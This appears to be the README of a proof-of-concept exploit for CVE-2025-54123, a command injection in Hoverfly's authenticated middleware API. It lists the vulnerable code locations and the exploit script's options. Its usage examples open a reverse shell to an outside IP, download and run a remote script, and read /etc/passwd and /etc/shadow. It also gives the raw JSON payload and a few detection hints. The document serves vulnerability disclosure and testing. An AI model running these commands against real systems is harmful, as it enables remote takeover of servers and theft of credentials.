
CVE-2025-54123 Hoverfly Authenticated Middleware Command Injection RCE
Hoverfly Authenticated Middleware Command Injection RCE | CVSS 9.8 CRITICAL
Hoverfly <= 1.11.3 is vulnerable to authenticated command injection through the /api/v2/hoverfly/middleware endpoint. Admin credentials are required, but once authenticated, the middleware functionality accepts user-supplied binary and script values without validation, allowing arbitrary command execution.
middleware.go accepts arbitrary binary pathslocal_middleware.go directly passes user input to exec.Command()hoverfly_service.go executes middleware during validationpython3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> -c <COMMAND> [--shell SHELL]
-t, --target - Hoverfly API endpoint (required)-u, --username - Admin username (required)-p, --password - Admin password (required)-c, --command - Command to execute (required)--shell - Shell binary to use (default: /bin/bash)# Basic command execution
python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami
# Read sensitive files
python3 exploit.py -t http://10.10.11.100:8888 -u admin -p pass123 -c "cat /etc/passwd"
# Reverse shell
python3 exploit.py -t http://target:8888 -u user -p secret -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Multi-command execution
python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "id; uname -a; pwd"
# Use different shell
python3 exploit.py -t http://victim:8888 -u root -p toor -c "cat /etc/shadow" --shell /bin/sh
# Download and execute payload
python3 exploit.py -t http://target:8888 -u admin -p pass -c "curl http://10.10.14.5/shell.sh | bash"
/api/v2/hoverfly/middleware with malicious payload/tmp/hoverfly_<random><shell> /tmp/hoverfly_<random>{
"binary": "/bin/bash",
"script": "whoami"
}
HTTP headers include:
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/json
core/middleware/middleware.go:94-96 - No input validation on binary parametercore/middleware/local_middleware.go:14-19 - Unsafe exec.Command() usagecore/hoverfly_service.go:173 - Immediate execution during validationLook for:
/api/v2/hoverfly/middleware/tmp/hoverfly//api/v2/hoverfly/middleware endpoint accessOriginal discovery: @Kr1shna4garwal